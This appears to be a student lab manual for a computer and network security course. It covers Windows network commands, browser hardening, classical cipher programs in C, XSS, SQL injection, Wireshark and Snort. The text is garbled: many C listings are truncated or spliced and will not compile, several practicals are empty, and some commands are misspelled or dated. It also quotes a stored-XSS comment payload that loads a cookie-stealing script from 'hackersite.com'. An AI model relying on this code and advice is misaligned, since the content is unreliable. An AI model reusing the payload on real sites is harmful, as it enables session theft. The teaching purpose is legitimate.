Practical - 1: List and Practice Various "Net" Commands On DOS & Linux
Practical - 1: List and Practice Various "Net" Commands On DOS & Linux
PRACTICAL -1
You can find your IP address from the Control Panel, but this takes quite a few clicks. The ipconfig command is
a fast way of determining your computer’s IP address and other information, such as the address of its default
gateway — useful if you want to know the IP address of your router’s web interface.To use the command, just
type ipconfig into a Command Prompt window. You’ll see a list of all the network connections your computer is
using. Look under Wireless LAN adapter if you’re connected to Wi-Fi or Ethernet adapter Local Area
Connection if you’re connected to a wired network.
If you change your DNS server, the effects won’t necessarily take place immediately. Windows uses a cache that
remembers DNS responses it’s received, saving time when you access the same addresses again in the future. To
ensure Windows is getting addresses from the new DNS servers instead of using old, cached entries, run
the ipconfig /flushdns command after changing your DNS server.
If you’re experiencing issues connecting to a website or other network connection issues, Windows and other
operating systems have some standard tools you can use to identify problems.First, there’s the ping command.
Type ping google.com and Windows will send packets to Google.com. Google will respond and let you know
it’s received them. You’ll be able to see if any packets didn’t make it to Google.com — perhaps you’re
experiencing packet loss — and how long it took you to hear back — perhaps the network is saturated and
packets are taking a while to reach their destinations.
There’s also the tracert command, which traces the route it takes for a packet to reach a destination. For example,
run tracert google.com and you’ll see the path your packet takes to reach Google. If you’re having issues
connecting to a website, tracert can show you where the problem is occurring.
The shutdown command is particularly useful on Windows 8. You can use it to create your own shortcuts and
place them on your Start screen or desktop, allowing you to more easily shut down Windows without digging
through the charms bar or logging out first. This command can also be used to restart your computer. On
Windows 8, you can even use a special switch to restart your computer into the advanced startup options menu.
The Refresh Your PC feature on Windows 8 allows you to restore your computer’s system state to its original
state — either from a clean Windows install or as the computer came from its manufacturer. You can create your
own custom recovery images, but this feature is hidden — you have to do it with the recimg command from a
command line. This allows you to remove manufacturer-installed bloatware or add your favorite desktop
programs to your recovery image.
Windows 8.1 removes the Windows 7 backup interface, which allowed you to create system backup images.
These system images contain a complete snapshot of every single file on the system, so they’re different from
Windows 8’s recovery images. While the graphical interface has been removed, system administrators and geeks
can still create system image backups by running the wbadmin start backup cmdlet in a PowerShell window.
Unlike all the other commands here, this command-line tool must be run from within PowerShell, not the
Command Prompt.
Windows includes a system file checker tool that scans its system files and looks for problems. If system files are
missing or corrupted, the system file checker will repair them. This may fix problems with some Windows
systems. To use this tool, open a Command Prompt window as Administrator and run the sfc
/scannow command.
The cipher command is mostly used for managing encryption, but it also has an option that will write garbage
data to a drive, clearing its free space and ensuring no deleted file can be recovered. Deleted files normally stick
around on disk unless you’re using a solid state drive. The cipher command effectively allows you to “wipe” a
drive without installing any third-party tools. To use the command, specify the drive you want to wipe like so:
ciper /w:C:\
The telnet client isn’t installed by default. You’ll have to install it from the Control Panel. Once installed, you
can use the telnet command to connect to telnet servers without installing any third-party software. You should
avoid using telnet if you can help it, but if you’re connected directly to a device and it requires that you use telnet
to set something up — well, that’s what you have to do.
The netstat command is particularly useful, displaying all sorts of network statistics when used with its various
options. One of the most interesting variants of netstat is netstat -an, which will display a list of all open
network connections on their computer, along with the port they’re using and the foreign IP address they’re
connected to.
PRACTICAL -2
2. Under the User Accounts and Family Safety category, click on Add or remove user accounts
3. Choose the account that you would like to create a password for, this is done by clicking on the user
account name.
5. Type the password you want to set for this user account.
Remember to set a strong password, else it would be useless to have a password that anyone would
guess A strong password is considered to be :
o Is at least eight characters long. These characters contain letters, digits and special characters
such as ( $ , % , etc .. )
o Does not contain your user name, real name, or company name.
o Does not contain a complete word.
o Is significantly different from previous passwords.
Actually its really up to you, you can have a password of a single character and you might be satisfied
with it. After you type your password and confirm it again, click on Create password button. If you are
a person who usually forgets his passwords, then its better to type a password hint, so that when you
forget your password, from reading the hint, it will give you an idea what your password is, but
remember, password hint is visible to everyone who uses the computer, so make sure that your hint is
not understood by someone else, choose your own hints.
Your user account is now protected with a password, so you can safely lock your user account or even
log off, and you will be confident now that no one will be able to log on to your user account, unless of
course you provided him/her with your own password.
SteveAdmin: The first account created during installation; it should be used solely for administrative
tasks.
Steve: The second account created as a standard user; this limited account is used for day-to-day work.
The built-in Administrator account will not be used in any way, and it will remain disabled. Follow these steps
to set up Windows 7:
This includes configuring Automatic Updates, addition of required drivers, configuring the network, and the like.
This is all done as the Administrative user SteveAdmin.
Create a new account named "Steve" as a standard user While logged in as SteveAdmin, navigate to the Control
Panel:
Assign a password to the new user "Steve" (if desired) When the account has been created, a list of current users
appears with the caption, "Choose the account you would like to change." Click the icon for the newly
created Steve account, which should be listed as a Standard User. Click Create a password, and enter a
password (twice!), along with a password hint if you like.
PRACTICAL -3
Google Chrome
These settings can be accessed through Chrome’s “Advanced Settings” menu or by navigating to
“chrome://settings/."
Enable phishing and malware protection: Make sure that Chrome’s phishing and malware protection
feature is enabled under the “Privacy” section. This feature will warn you if a site you’re trying to visit may
be phishing or contain malware.
Turn off instant search: The Instant search feature should be turned off for optimal security. While it
offers some convenience in searching, having this feature enabled means that anything you type in the
address bar is instantly sent to Google.
Don’t sync: Disconnect your email account from your browser under the “Personal Stuff” tab. Syncing your
email account with your Chrome browser means that personal information such as passwords, autofill data,
preferences, and more is stored on Google’s servers. If you must use sync, select the “Encrypt all synced
data” option and create a unique passphrase for encryption.
Configure content settings: Click “Content settings” under the “Privacy” section and do the following:
Cookies: Select “Keep local data only until I quit my browser” and “Block third-party cookies and site
data.” These options ensure that your cookies will be deleted upon quitting Chrome and that advertisers
will not be able to track you using third-party cookies.
JavaScript: Select “Do not allow any site to run JavaScript.” It is widely recommended that JavaScript
be disabled whenever possible to protect users from its security vulnerabilities.
Pop-ups: Select “Do not allow any site to show pop-ups.
Location: Select “Do not allow any site to track my physical location.”
Configure passwords and forms settings: Disable Autofill and deselect “Offer to save passwords I enter
on the web” under the “Passwords and forms” section. Doing so will prevent Chrome from saving your
logins, passwords, and other sensitive information that you enter into forms.
Internet Explorer
These settings can be accessed through the “Internet Options” menu.
Configure security settings: Under the “Security” tab, do the following:
Set security zones: IE offers the option to configure different security settings for different “zones,”
including the Internet, local intranet, trusted sites, and restricted sites. Set up the zones for Intranet,
Trusted Sites, and Restricted sites to your desired security level.
Set Internet zone security to “Medium High” or higher. This blocks certain cookie types, enables
ActiveX filtering, and implements several other default settings for increased security.
Disable javaScript: Click “Custom Level,” locate the “Active Scripting” setting, and select “Disable.”
It is recommended that users disable JavaScript because of the high amount of vulnerabilities it
contains.
Automatically clear history: Select “Delete browsing history on exit” under the “General” tab. Clearing
your history at the end of each session helps to limit the amount of information IE saves when you browse.
Configure privacy settings: Under the “Privacy” tab, complete the following steps:
Privacy setting: Set the Internet zone privacy to “Medium High” or higher. This blocks certain cookie
types to prevent sites from tracking or contacting you without your consent.
Location: Select “Never allow websites to request your physical location.”
Pop-up Blocker: Double check that Pop-up Blocker is enabled.
Mozilla Firefox
These settings can be accessed through the “Options” menu.
Configure privacy settings: Under the “Privacy” tab, complete the following steps. These measures ensure
that Firefox is storing only as much of your information as it needs to function normally.
Select “Use custom settings for history.”
Deselect “Remember my browsing and download history.”
Deselect “Remember search and form history.”
Deselect “Accept third-party cookies.”
Set cookie storage to “Keep until I close Firefox.”
Select “Clear history when Firefox closes.”
Configure security settings: Under the “Security” tab, choose the following settings. These steps prevent
Firefox from saving your passwords and keep you from visiting potentially harmful sites.
Verify that “Warn me when sites try to install add-ons,” “Block reported attack sites,” and “Block
reported web forgeries” are all selected.
Deselect “Remember passwords for sites.”
Disable javaScript: Deselect “Enable JavaScript” under the “Content” tab. JavaScript is notorious for
containing security vulnerabilities and it is recommended that users only enable it for trusted sites.
Enable pop-up blocking: Verify that “Block pop-up windows” is selected under the “Content” tab. This
feature should be turned on by default as it protects users from unwarranted advertisements and windows.
Don’t sync: Avoid using Firefox Sync. By doing so you prevent Firefox from storing your logins,
passwords, and other sensitive information.
Turn on automatic updates: Verify that “Automatically install updates” is selected in the “Update” tab
under “Advanced.” Doing so will ensure that your browser receives critical security updates. Verify that
“Automatically update Search Engines” is selected as well.
Use secure protocols: Verify that “Use SSL 3.0” and “Use TLS 1.0” are selected in the “Encryption” tab
under “Advanced.”
DOS:
BACKDOORS:
TRAPDOORS:
Draw diagrams of sniffing, spoofing, man in the middle & replay attacks.
Sniffing:
Spoofing:
MITM:
Replay:
Write Ceaser’s Cipher algorithm & Solve various examples based on Encryption & Decryption.
The transformation can be represented by aligning two alphabets; the cipher alphabet is the plain alphabet rotated
left or right by some number of positions. For instance, here is a Caesar cipher using a left rotation of three
places, equivalent to a right shift of 23 (the shift parameter is used as the key):
Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ
Cipher: XYZABCDEFGHIJKLMNOPQRSTUVW
When encrypting, a person looks up each letter of the message in the "plain" line and writes down the
corresponding letter in the "cipher" line.
Plaintext: THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG
Ciphertext: QEB NRFZH YOLTK CLU GRJMP LSBO QEB IXWV ALD
Encryption
#include<stdio.h>
int main()
{
char message[100], ch;
int i, key;
message[i] = ch;
}
else if(ch >= 'A' && ch <= 'Z'){
ch = ch + key;
message[i] = ch;
}
}
return 0;
}
Output
Decryption
#include<stdio.h>
int main()
{
char message[100], ch;
int i, key;
message[i] = ch;
}
else if(ch >= 'A' && ch <= 'Z'){
ch = ch - key;
message[i] = ch;
}
}
return 0;
}
Output
PRACTICAL -9
Write algorithm/steps for Shift Cipher & solve various examples on it.
Encryption
#include<stdio.h>
int main()
{
char message[100], ch;
int i, key;
message[i] = ch;
}
else if(ch >= 'A' && ch <= 'Z'){
ch = ch + key;
message[i] = ch;
}
}
return 0;
}
Output
Decryption
#include<stdio.h>
int main()
{
char message[100], ch;
int i, key;
message[i] = ch;
}
else if(ch >= 'A' && ch <= 'Z'){
ch = ch - key;
message[i] = ch;
}
}
return 0;
}
Output
PRACTICAL -10
#include<stdio.h>
#include<conio.h>
#include<string.h>
void main()
{
int k[3][3];
char pt[50],ct[50];
int i,j,part,temp=0,n=0;
clrscr();
printf("=============Hill Cipher=============\n");
printf("Enter the key\n");
for(i=0;i<3;i++)
{
for(j=0;j<3;j++)
{
printf("k[%d][%d]:-",i,j);
scanf("%d",&k[i][j]);
}
}
printf("Enter the plain text:-");
scanf("%s",&pt);
strlwr(pt);
switch(strlen(pt)%3)
{
case 1:
strcat(pt,"xy");
break;
case 2:
strcat(pt,"x");
break;
}
for(part=0;part<strlen(pt)/3;part++)
{
for(i=0;i<3;i++)
{
for(j=0;j<3;j++)
{
temp+=k[i][j]*(pt[part*3+j]-97);
}
ct[n++]=temp%26+97;
temp=0;
}
}
ct[n]='\0';
printf("Cipher Text:-%s",ct);
getch();
}
Output:-
PRACTICAL -11
#include<stdio.h>
#include<conio.h>
#include<string.h>
#include<math.h>
int mat[5][5];
char pt[100]={"\0"},cpt[100];
void main()
{
int i,tmp=0,len,tmp1=0,l,m,i1,i2,j1,j2;
char ptn[100];
void matgen();
clrscr();
printf("---------play fair---------\n---------------------------");
printf("\nenter plain text");
flushall();
gets(pt);
for(i=0;pt[i]!='\0';i++)
{
if(pt[i]=='j')
pt[i]='i';
}
for(i=0;pt[i]!='\0'||pt[i+1]!='\0';i++)
{
if(pt[i]!=pt[i+1])
{
ptn[tmp]=pt[i];
ptn[tmp+1]=pt[i+1];
i++;
}
else
{
ptn[tmp]=pt[i];
ptn[tmp+1]='x';
}
tmp=tmp+2;
}
strcpy(pt,ptn);
len=(strlen(pt));
if((len%2)!=0)
{
ENROLLMENT NO:___________________________ PAGE NO:______________
COMPUTER AND NETWORK SECURITY(3350704) 5TH C.E.
pt[len]='x';
pt[len+1]='\0';
}
tmp=0;
len=strlen(pt);
printf("After Modification of Plain Text The New Plain Text is ::-\n------------------------\n");
puts(pt);
printf("-----------------------------\n");
matgen();
for(i=0;i<len;i++)
{
for(l=0;l<5;l++)
{
for(m=0;m<5;m++)
{
if(pt[i]==mat[l][m])
{
i1=l;
j1=m;
}
if(pt[i+1]==mat[l][m])
{
i2=l;
j2=m;
}
}
}
if(i1==i2)
{
if(j1==4)
j1=-1;
if(j2==4)
j2=-1;
cpt[tmp1]=mat[i1][j1+1];
cpt[tmp1+1]=mat[i2][j2+1];
}
else if(j1==j2)
{
if(i1==4)
i1=-1;
else if(i2==4)
i2=-1;
cpt[tmp1]=mat[i1+1][j1];
cpt[tmp1+1]=mat[i2+1][j2];
}
}
}
}
if(f==0)
{
mat[i][j]=k[tmp];
lk++;
}
if(k[tmp+1]=='\0')
{
fl=1;
break;
}
tmp++;
if(fl==1)
break;
}
if(fl==1)
break;
}
l1=((lk/5));
tmp=0;
l2=((lk%5));
j=l2;
printf("The Matrix for the given KEY is ::-\n--------------------------\n");
if(l2!=0)
{
while(j<5)
{
f=0;
Output :-
PRACTICAL -12
Write algorithm/steps for Verman Cipher & solve various examples on it.
#include<stdio.h>
#include<conio.h>
#include<String.h>
char s[30],key[30];
void main()
{
int i,c1,c2,c5;
char c[26],k[30];
clrscr();
for(i=97;i<122;i++)
{
c[i-97]=i;
}
printf("Enter Key:---");
gets(key);
for(i=0;i<strlen(s);i++)
{
c1=s[i]-97;
c2=key[i]-97;
c5=c1+c2;
if(c5>26)
{
c5=c5-26;
c5=c5+97;
printf("%c",c5);
}
else
{
c5=c5+97;
printf("%c",c5);
}
}
getch();
}
ENROLLMENT NO:___________________________ PAGE NO:______________
COMPUTER AND NETWORK SECURITY(3350704) 5TH C.E.
Output:-
PRACTICAL -13
Write algorithm/steps for Vignere Cipher & solve various examples on it.
The Vigenère cipher uses a 26×26 table with A to Z as the row heading and column heading This table is usually
referred to as the Vigenère Tableau, Vigenère Table or Vigenère Square. We shall use Vigenère Table. The
first row of this table has the 26 English letters. Starting with the second row, each row has the letters shifted to
the left one position in a cyclic way. For example, when B is shifted to the first position on the second row, the
letter A moves to the end.
In addition to the plaintext, the Vigenère cipher also requires a keyword, which is repeated so that the total
length is equal to that of the plaintext. For example, suppose the plaintext isMICHIGAN TECHNOLOGICAL
UNIVERSITY and the keyword is HOUGHTON. Then, the keyword must be repeated as follows:
We follow the tradition by removing all spaces and punctuation, converting all letters to upper case, and dividing
the result into 5-letter blocks. As a result, the above plaintext and keyword become the following:
To encrypt, pick a letter in the plaintext and its corresponding letter in the keyword, use the keyword letter and
the plaintext letter as the row index and column index, respectively, and the entry at the row-column intersection
is the letter in the ciphertext. For example, the first letter in the plaintext is M and its corresponding keyword
letter is H. This means that the row of H and the column of M are used, and the entry T at the intersection is the
encrypted result.
Similarly, since the letter N in MICHIGAN corresponds to the letter N in the keyword, the entry at the
intersection of row N and column N is A which is the encrypted letter in the ciphertext
Repeating this process until all plaintext letters are processed, the ciphertext is TWWNPZOA
ASWNUHZBNWWGS NBVCSLYPMM. The following has the plaintext, repeated keyword and ciphertext
aligned together.
To decrypt, pick a letter in the ciphertext and its corresponding letter in the keyword, use the keyword letter to
find the corresponding row, and the letter heading of the column that contains the ciphertext letter is the needed
plaintext letter. For example, to decrypt the first letter T in the ciphertext, we find the corresponding letter H in
the keyword. Then, the row of H is used to find the corresponding letter T and the column that
contains T provides the plaintext letter M (see the above figures). Consider the fifth letter P in the ciphertext.
This letter corresponds to the keyword letter H and row H is used to find P. Since P is on column I, the
corresponding plaintext letter is I.
PRACTICAL -14
Write algorithm/steps for one time pad & solve various examples on in.
#include<stdio.h>
#include<conio.h>
#include<String.h>
char s[30],key[30];
void main()
{
int i,c1,c2,c5;
char c[26],k[30];
clrscr();
for(i=97;i<122;i++)
{
c[i-97]=i;
}
printf("Enter Plain Text:---");
gets(s);
printf("Enter Key:---");
gets(key);
for(i=0;i<strlen(s);i++)
{
c1=s[i]-97;
c2=key[i]-97;
c5=c1+c2;
if(c5>26)
{
c5=c5-26;
c5=c5+97;
printf("%c",c5);
}
else
{
c5=c5+97;
printf("%c",c5);
}
}
getch();
}
ENROLLMENT NO:___________________________ PAGE NO:______________
COMPUTER AND NETWORK SECURITY(3350704) 5TH C.E.
Output:-
PRACTICAL -15
PRACTICAL -16
PRACTICAL -17
Demonstrate cross-scripting.
Cross site scripting (XSS) is a common attack vector that injects malicious code into a vulnerable web
application. XSS differs from other web attack vectors (e.g., SQL injections), in that it does not directly target
the application itself. Instead, the users of the web application are the ones at risk. A successful cross site
scripting attack can have devastating consequences for an online business's reputation and its relationship with
its clients. Depending on the severity of the attack, user accounts may be compromised, Trojan horse programs
activated and page content modified, misleading users into willingly surrendering their private data. Finally,
session cookies could be revealed, enabling a perpetrator to impersonate valid users and abuse their private
accounts. Cross site scripting attacks can be broken down into two types: stored and reflected.
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is
injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script
off of a web application, onto a user's browser. The script is embedded into a link, and is only activated once that
link is clicked on.
To successfully execute a stored XSS attack, a perpetrator has to locate a vulnerability in a web application and
then inject malicious script into its server (e.g., via a comment field).
One of the most frequent targets are websites that allow users to share content, including blogs, social networks,
video sharing platforms and message boards. Every time the infected page is viewed, the malicious script is
transmitted to the victim's browser.
While browsing an e-commerce website, a perpetrator discovers a vulnerability that allows HTML tags to be
embedded in the site's comments section. The embedded tags become a permanent feature of the page, causing
the browser to parse them with the rest of the source code every time the page is opened.
The attacker adds the following comment: Great price for a great item! Read my review here <script
src="http://hackersite.com/authstealer.js"> </script>. From this point on, every time the page is accessed,
the HTML tag in the comment will activate a JavaScript file, which is hosted on another site, and has the ability
to steal visitors' session cookies.
Using the session cookie, the attacker can compromise the visitor’s account, granting him easy access to his
personal information and credit card data. Meanwhile, the visitor, who may never have even scrolled down to the
comments section, is not aware that the attack took place.
Unlike a reflected attack, where the script is activated after a link is clicked, a stored attack only requires that the
victim visit the compromised web page. This increases the reach of the attack, endangering all visitors no matter
their level of vigilance.
From the perpetrator's standpoint, persistent XSS attacks are relatively harder to execute because of the
difficulties in locating both a trafficked website and one with vulnerabilities that enables permanent script
embedding.
WAFs employ different methods to counter attack vectors. In the case of XSS, most will rely on signature based
filtering to identify and block malicious requests.
In accordance with industry best-practices, Imperva Incapsula's web application firewall also employs signature
filtering to counter cross site scripting attacks.
Incapsula WAF is offered as a managed service, regularly maintained by a team of security experts who are
constantly updating the security rule set with signatures of newly discovered attack vectors.
Incapsula crowdsourcing technology automatically collects and aggregates attack data from across its network,
for the benefit of all customers.
The crowdsourcing approach enables extremely rapid response to zero-day threats, protecting the entire user
community against any new threat, as soon as a single attack attempt is identified.
Crowdsourcing also enables the use of IP reputation system that blocks repeated offenders, including botnet
resources which tend to be re-used by multiple perpetrators.
PRACTICAL -18
Draw various Security Topologies.
DMZ
VLAN
TUNNELING
PRACTICAL -19
Demonstrate traffic analysis of different network protocols using tool. i.e. Wire-shark.
packet capture (packet sniffing) and network traffic analysis with the Wireshark
Download and install Wireshark on your PC.
Generate some network traffic with a Web Browser, such as Internet Explorer or Chrome. Your Wireshark
window should show the packets, and now look something like.
To stop the capture, select the Capture->Stop menu option, Ctrl+E, or the Stop toolbar button. What you have
created is a Packet Capture or ‘pcap’, which you can now view and analyse using the Wireshark interface, or
save to disk to analyse later.
1. Packet List Panel – this is a list of packets in the current capture. It colours the packets based on the protocol
type. When a packet is selected, the details are shown in the two panels below.
2. Packet Details Panel – this shows the details of the selected packet. It shows the different protocols making
up the layers of data for this packet. Layers include Frame, Ethernet, IP, TCP/UDP/ICMP, and application
protocols such as HTTP.
3. Packet Bytes Panel – shows the packet bytes in Hex and ASCII encodings.
To select more detailed options when starting a capture, select the Capture->Options menu option, or Ctrl+K,
or the Capture Options button on the toolbar (the wrench). This should show a window such as shown in Figure.
You can try various option available in wireshark and do the needful things.
To capture some traffic we will be using the arguments -d -e and -v meaning that Snort output will show the IP
(Layer3), TCP/UDP/ICMP (Layer4) headers, and the packets data (Layer7). The –i 2 argument specifies packet
capture on the 2nd network interface.
4. Type snort -dev -i 2
5. Generate some network traffic
6. Abort the capture by pressing Ctrl+C
You will now see the captured traffic.
Snort can also log the traffic and write it to a file on the disk. This is done with the -l argument. Using the -K
ascii argument will tell Snort to write the info in ascii format.
7. Type snort -dev -i 2 -l C:\Snort\log -K ascii
8. Generate some network traffic
9. Abort the capture by pressing Ctrl+C
Now go the C:\Snort\log folder, you should see that the logged packets arranged by destination IP.
Snort can also be used as an Intrusion Detection System (IDS), which means that it only picks up packets which
match certain rules. The Snort rules are set up in this order:
Where [ACTION] defines what action Snort is to take when encountering a packet that fits the criteria.
[PROTOCOL] defines what protocol the packets would have to be using. After that [ADDRESS] is the source
address (IP address) of the packet and the [PORT] defines the source port. [DIRECTION] Tells which way the
packet should be going and once again [ADDRESS] [PORT] tell the address and port where the packet is going
to.
We will now try using this rule while sniffing traffic. The –k none argument, tells Snort not to ignore checksum
error packets.
ENROLLMENT NO:___________________________ PAGE NO:______________
COMPUTER AND NETWORK SECURITY(3350704) 5TH C.E.
As said this is only the basics of what Snort can do. It can be configured to capture close to anything running
though you Ethernet card. Also there are a lot of preconfigured rules and plugins which can help determine what
kind of activity is happening on a network. An example would be to pick up on a Nmap scan of the network.
Configure your e-mail account against various threats. i.e. spam attack, phising, spoofing etc.
2. From the Admin console dashboard, go to Apps G Suite Gmail Advanced settings.
Tip: To see Advanced settings, scroll to the bottom of the Gmail page.
4. Scroll to the Spam section, hover over the setting, and click Configure. If the setting is already configured,
hover over the setting and click Edit or Add Another.
6. To configure more aggressive spam filtering, check the Be more aggressive when filtering spam box. If you
select this option, it's likely that more messages will be marked spam and sent to your users' spam folders.
7. To bypass spam filters for messages from users in the same organization, check the Bypass spam filters for
messages received from internal senders box.
8. To bypass spam filters for messages from addresses or domains specified in an approved sender list:
1. Check the Bypass spam filters for messages received from addresses or domains within these
approved senders lists box.
2. Click Use existing or create a new one, enter a new list name, and click Create.
3. To use an existing list as your approved sender list, click the list name.
To add email addresses or domains to a list:
4. Hover over the list name, click Edit, and then click Add.
5. Enter an email address or domain name.
Important: Use the Do not require sender authentication option with caution as it can lead to spoofing.
The option bypasses the spam folder for approved senders that don't have authentication, such as SPF or
DKIM, enabled.
6. Click Save.
7. Repeat the steps to add more email addresses or domains to the list.
9. To send filtered messages to Admin Quarantine for review, check the Put spam in administrative
quarantine box. If you select this option, spam messages are never directed to users' spam folders. If you are
using the Message Center, spam messages aren't directed to the Message Center. A message that's released
from quarantine is delivered directly to the user's Gmail inbox or non-Gmail mailbox.
11. At the bottom of the Gmail Advanced setting page, click Save.
Protect email account from phishing
3. Turn on two-step verification for your organization and use security keys.
4. Follow the security checklist if you feel that an account may be compromised.
5. Help prevent abuse of your brand in phishing attacks by publishing a DMARC policy for your
organization.
PRACTICAL -22
PRACTICAL -23
PRACTICAL -24
SQL Injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements
(also commonly referred to as a malicious payload) that control a web application’s database server (also
commonly referred to as a Relational Database Management System – RDBMS). Since an SQL Injection
vulnerability could possibly affect any website or web application that makes use of an SQL-based database, the
vulnerability is one of the oldest, most prevalent and most dangerous of web application vulnerabilities.
By leveraging an SQL Injection vulnerability, given the right circumstances, an attacker can use it to bypass a
web application’s authentication and authorization mechanisms and retrieve the contents of an entire database.
SQL Injection can also be used to add, modify and delete records in a database, affecting data integrity.
To such an extent, SQL Injection can provide an attacker with unauthorized access to sensitive data including,
customer data, personally identifiable information (PII), trade secrets, intellectual property and other sensitive
information.
In order to run malicious SQL queries against a database server, an attacker must first find an input within the
web application that is included inside of an SQL query.
In order for an SQL Injection attack to take place, the vulnerable website needs to directly include user input
within an SQL statement. An attacker can then insert a payload that will be included as part of the SQL query
and run against the database server.
The following server-side pseudo-code is used to authenticate users to the web application.
An attacker can also comment out the rest of the SQL statement to control the execution of the SQL query
further.
An attacker can use SQL Injection to bypass authentication or even impersonate specific users.
One of SQL’s primary functions is to select data based on a query and output the result of that query. An
SQL Injection vulnerability could allow the complete disclosure of data residing on a database server.
Since web applications use SQL to alter data within a database, an attacker could use SQL Injection to
alter data stored in a database. Altering data affects data integrity and could cause repudiation issues, for
instance, issues such as voiding transactions, altering balances and other records.
SQL is used to delete records from a database. An attacker could use an SQL Injection vulnerability to
delete data from a database. Even if an appropriate backup strategy is employed, deletion of data could
affect an application’s availability until the database is restored.
Some database servers are configured (intentional or otherwise) to allow arbitrary execution of operating
system commands on the database server. Given the right conditions, an attacker could use SQL
Injection as the initial vector in an attack of an internal network that sits behind a firewall.
PRACTICAL -25
#include<stdio.h>
#include<conio.h>
#include<string.h>
void main()
{
char pt[100],en1[100],en2[100],dec[100];
int i,j=0,k;
clrscr();
printf("==================>Rail Fence Encryption-Decryption Technique<===============\n\
n\n\n\n");
printf("Enter the Plain Text:-");
scanf("%s",&pt);
printf("\nYour Plain Text:-%s",pt);
printf("\n\n\n");
//================Encryption==================
for(i=0;i<strlen(pt);i=i+2)
{
en1[j]=pt[i];
en2[j]=pt[i+1];
j++;
}
en1[j]='\0';
en2[j]='\0';
printf("Encrypted Text is:-");
printf("%s",en1);
printf("%s",en2);
//================Decryption==================
j=0;
for(i=0;i<strlen(en1);i++)
{
dec[j]=en1[i];
dec[j+1]=en2[i];
j=j+2;
}
dec[j]='\0';
printf("\n\nDecrypted Text is:-%s",dec);
getch();
}
Output:-